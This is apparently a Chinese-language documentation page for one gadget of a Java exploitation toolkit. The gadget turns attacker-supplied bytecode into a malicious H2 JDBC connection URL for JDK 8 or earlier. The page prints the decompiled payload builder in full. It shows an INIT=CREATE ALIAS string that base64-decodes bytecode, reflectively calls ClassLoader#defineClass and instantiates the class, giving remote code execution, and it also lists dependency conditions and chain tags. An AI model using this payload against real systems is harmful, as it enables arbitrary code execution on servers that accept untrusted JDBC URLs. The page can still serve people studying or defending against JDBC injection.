- 类别:
common别名:— 优先级:30 - 作者:—
- 依赖:
com.h2database:h2:org.h2.Driver、jdk<=8 - 实现:
Gadget
H2 CREATE ALIAS 字节码加载的 JDK 8 变体。
- 入口
tags:H2JdbcUrl、JdbcUrlChains - 衔接
nextTags:BytecodeConvertTag excludes:无
关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:
public String getObject(byte[] bytecode) {
String b64Bytecode = Base64.encodeBase64String((byte[])bytecode);
return "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS ABCDE AS 'String shellexec(String abc) throws java.lang.Exception{String tomcatStr=\"" + b64Bytecode + "\"\\;byte[] standBytes=new sun.misc.BASE64Decoder().decodeBuffer(tomcatStr)\\;java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",standBytes.getClass(),int.class,int.class)\\;defineClassMethod.setAccessible(true)\\;java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),standBytes,0,standBytes.length)\\;myclass.newInstance()\\;return \"test\"\\;}'\\;CALL ABCDE('123')";
}
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
byte[] bytecode = (byte[])chain.doCreate(context);
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
return this.getObject(bytecode);
}invoke() 与 H2JavaJdbc1 一样消费内层字节码并写入 H2 driver。
getObject(byte[]) 固定创建 alias ABCDE,方法体直接使用 sun.misc.BASE64Decoder().decodeBuffer(...) 解码,再反射调用 ClassLoader#defineClass。
与 H2JavaJdbc1 的主要区别是没有 java.util.Base64 回退选择,payload 较直接,但目标 JDK 要提供 sun.misc.BASE64Decoder。
本类无 @Param,运行时输入来自链上下文或内层 gadget。
- 注解描述:适用于jdbc rce场景,通过H2执行任意Java代码,本链实现了加载任意字节码。使用了sun.misc.BASE64Decoder,要求jdk<=8
- 依赖条件:
com.h2database:h2:org.h2.Driver、jdk<=8。 - 依赖 H2 driver,且
@GadgetAnnotation明确标注jdk<=8。 - 可衔接下一环:
BytecodeConvertTag。
关注 CREATE ALIAS ABCDE、sun.misc.BASE64Decoder、defineClass。
自由构件,未直接出现在预设链中。
- 机器可读元数据:
index/gadgets.json。 - 完整反编译源码:。